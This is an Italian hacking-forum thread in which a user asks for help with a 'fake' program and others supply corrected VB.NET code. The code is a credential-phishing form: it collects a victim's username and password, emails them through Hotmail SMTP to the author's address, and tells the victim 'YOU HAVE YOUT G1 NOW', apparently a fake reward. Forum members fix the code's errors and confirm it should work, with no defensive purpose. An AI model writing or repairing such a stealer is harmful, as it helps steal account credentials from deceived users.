Problema Problema Creazione Fake

[Polare]

Salve, come dal titolo , Ho un problema con la creazione del Fake .
Mi da un errore " Nella posizione -->Class"

Perfavore, Entra oppure Registrati per vedere i Link!

<-- Immagine Problema !

Spero potreste essermi di aiuto mi manca solo questo

 

[»Alert]

Riferimento: Problema Creazione Fake

Leggi quando programmi, devi aggiungere "End Class" . Se non ci riesci postami il code . @Polare

 

[Polare]

Riferimento: Problema Creazione Fake

Imports System.Net.Mail




Public Class Form1


Private Sub Button1_Click(ByVal sneder As System.Object, ByVal e As System.EventArgs) Handles Button1.Click, TextBox2.Click




If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
Else


If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else


Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("*******", "*****")
'using mail
smtpServer.Port = 587
smtpServer.Host = "smtp.hotmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("******@Hotmail.it")
mail.To.Add(********@Hotmail.it")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("OK YOU HAVE YOUT G1 NOW")
End If
End If
End Sub
End Class
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click, TextBox2.Click
Me.Close()
End Sub
End Class

Eccolo ..

 

[Polare]

Riferimento: Problema Creazione Fake

Leggi quando programmi, devi aggiungere "End Class" . Se non ci riesci postami il code . @Polare

Postato code ... non ci riesco :S

 

[TheHackGame]

Riferimento: Problema Creazione Fake

Ecco prova questo codice!






Imports System.Net.Mail
Public Class Form1


Private Sub Button1_Click(ByVal sneder As System.Object, ByVal e As System.EventArgs) Handles Button1.Click, TextBox2.Click




If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
Else


If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else


Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("*******", "*****")
'using mail
smtpServer.Port = 587
smtpServer.Host = "smtp.hotmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("******@Hotmail .it")
mail.To.Add(********@Hotmail .it")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("OK YOU HAVE YOUT G1 NOW")
End If
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click, TextBox2.Click
Me.Close()
End Sub
End Class

 

[»Alert]

Riferimento: Problema Creazione Fake

OK YOU HAVE YOUT G1 NOW")

Correggi con Your . Il codice che ti ha dato TheHackGame è quello che ti volevo postare io, dovrebbe funzionare, tienici aggiornati @Polare